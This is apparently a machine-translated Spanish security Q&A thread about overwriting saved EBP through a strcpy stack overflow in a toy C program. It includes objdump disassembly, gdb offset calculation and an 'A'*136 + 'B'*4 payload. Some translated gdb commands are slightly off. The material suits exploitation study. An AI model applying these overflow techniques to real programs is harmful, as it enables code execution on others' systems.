¿Cómo sobrescribir ebp en la alineación de la pila?

3

Quiero explotar un programa simple

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
    char buf[128];
    strcpy(buf, argv[1]);
    return 0;
}

El desmontaje de main:

push %ebp
mov %esp, %ebp
and $0xfffffff0, %esp
... (and the rest follows)

Mi pregunta es porque los últimos 4 bytes de esp se están anulando, la ubicación real del ebp con respecto a la dirección inicial de buf [] se convierte en ALEATORIA. Entonces, ¿cómo se supone que debo saber exactamente después de presionar cuántos caracteres debo alcanzar a ebp? & buf [0] en mi computadora muestra 0x2c (% esp) y el marco de pila está ocupando 0xb0 bytes. Pero solo con esta información "fija", ¿cómo se supone que debo llegar a ebp? Queda un elemento faltante ... el contenido inicial de esp. Por favor, ayúdame a explotar este programa básico.

    
pregunta user257330 23.06.2015 - 18:29
fuente

2 respuestas

1

Escribí ese código exacto en un archivo overflow.c y obtuve el siguiente main() . Desmonté con objdump --disassemble overflow

0804846d <main>:
 804846d:       55                      push   %ebp
 804846e:       89 e5                   mov    %esp,%ebp
 8048470:       83 e4 f0                and    $0xfffffff0,%esp
 8048473:       81 ec a0 00 00 00       sub    $0xa0,%esp
 8048479:       8b 45 0c                mov    0xc(%ebp),%eax
 804847c:       89 44 24 0c             mov    %eax,0xc(%esp)
 8048480:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048486:       89 84 24 9c 00 00 00    mov    %eax,0x9c(%esp)
 804848d:       31 c0                   xor    %eax,%eax
 804848f:       8b 44 24 0c             mov    0xc(%esp),%eax
 8048493:       83 c0 04                add    $0x4,%eax
 8048496:       8b 00                   mov    (%eax),%eax
 8048498:       89 44 24 04             mov    %eax,0x4(%esp)
 804849c:       8d 44 24 1c             lea    0x1c(%esp),%eax
 80484a0:       89 04 24                mov    %eax,(%esp)
 80484a3:       e8 98 fe ff ff          call   8048340 <strcpy@plt>
 80484a8:       b8 00 00 00 00          mov    $0x0,%eax
 80484ad:       8b 94 24 9c 00 00 00    mov    0x9c(%esp),%edx
 80484b4:       65 33 15 14 00 00 00    xor    %gs:0x14,%edx
 80484bb:       74 05                   je     80484c2 <main+0x55>
 80484bd:       e8 6e fe ff ff          call   8048330 <__stack_chk_fail@plt>
 80484c2:       c9                      leave  
 80484c3:       c3                      ret   

Desafortunadamente, no creo que haya una manera de saber cuánto se alineará la pila en ese punto. Usted sabe que no será más de 16 bytes. Una solución sucia sería escribir los bytes 0x84 para alcanzar la sección de alineación. Luego escriba el valor de 4 bytes que desea sobrescribir EBP y / o la dirección de retorno con 6 veces. Esto también rompería la pila completamente si la alineación fuera menor de 16 bytes. Pero si obtienes una ejecución, podrías arreglarlo para que funcione en tu Shellcode.

Para ir un poco más lejos, hagamos esta misma operación en una función diferente. Lo que sería mucho más probable de un escenario que un main() . Así que ahora tenemos lo siguiente:

  1 #include <stdio.h>
  2 #include <string.h>
  3 
  4 int function(char **argv) {
  5     char buf[128];
  6 
  7     strcpy(buf, argv[1]);
  8 
  9     return 0;
 10 }
 11 
 12 int main(int argc, char **argv) {
 13     return function(argv);
 14 }

Que se desmonta:

0804846d <function>:
 804846d:       55                      push   %ebp
 804846e:       89 e5                   mov    %esp,%ebp
 8048470:       81 ec a8 00 00 00       sub    $0xa8,%esp
 8048476:       8b 45 08                mov    0x8(%ebp),%eax
 8048479:       89 85 64 ff ff ff       mov    %eax,-0x9c(%ebp)
 804847f:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048485:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048488:       31 c0                   xor    %eax,%eax
 804848a:       8b 85 64 ff ff ff       mov    -0x9c(%ebp),%eax
 8048490:       83 c0 04                add    $0x4,%eax
 8048493:       8b 00                   mov    (%eax),%eax
 8048495:       89 44 24 04             mov    %eax,0x4(%esp)
 8048499:       8d 85 74 ff ff ff       lea    -0x8c(%ebp),%eax
 804849f:       89 04 24                mov    %eax,(%esp)
 80484a2:       e8 99 fe ff ff          call   8048340 <strcpy@plt>
 80484a7:       b8 00 00 00 00          mov    $0x0,%eax
 80484ac:       8b 55 f4                mov    -0xc(%ebp),%edx
 80484af:       65 33 15 14 00 00 00    xor    %gs:0x14,%edx
 80484b6:       74 05                   je     80484bd <function+0x50>
 80484b8:       e8 73 fe ff ff          call   8048330 <__stack_chk_fail@plt>
 80484bd:       c9                      leave  
 80484be:       c3                      ret

Ya que no es una función principal, no tiene esa operación molesta and esp, 0xfffffff0 ahí. Puedes realizar tu resta como lo hubieras esperado normalmente.

Espero que esto responda a tu pregunta.

    
respondido por el RoraΖ 24.06.2015 - 21:18
fuente
0

No sé si entiendo bien, lo que quieres. Déjame saber si lo entiendo mal. Asumiré que desea sobrescribir el EBP con algo de su valor. Una de las formas, cómo hacerlo, es encontrar, dónde comenzar el búfer y obtener su dirección. Así que en el búfer de relleno del depurador con alguna carga útil de 'A' como -

  

ejecuta AAAAAAAA

Establezca el punto de interrupción después de llamar a la función strcpy (). Lo puse en la instrucción de dejar, luego verifico, donde comienza su búfer (buf).

  

0xbfffef30: 0x41414141 0x41414141 0xbfffef60 0x0804823d

En este caso, significa que nuestro búfer comienza en la dirección 0xbfffef30 . Con esta información, toma esta dirección y restálala de $ ebp (porque como sabemos, la EBP se encuentra en la parte inferior del marco real, significa = dirección más alta)

  

(gdb) p $ ebp - 0xbfffef30

     

$ 1 = (nulo *) 0x88

     

(gdb) p 0x88

     

$ 2 = 136

Ahora, los siguientes 4 bytes sobrescribirán nuestro puntero de cuadro guardado.

  

(gdb) ejecuta python -c 'print "A" * 136 + "B" * 4'

No olvides volver a configurar el punto de interrupción. Después de esto, como puede ver, reescribimos EBP con nuestro propio valor. En este caso con 'BBBB'.

  

(gdb) i ebp

     

ebp 0x42424242 0x42424242

Tal vez ya sabes, lo que sobreescribirás con los siguientes 4 bytes: dirección de retorno.

    
respondido por el core2dump 24.06.2015 - 01:20
fuente

Lea otras preguntas en las etiquetas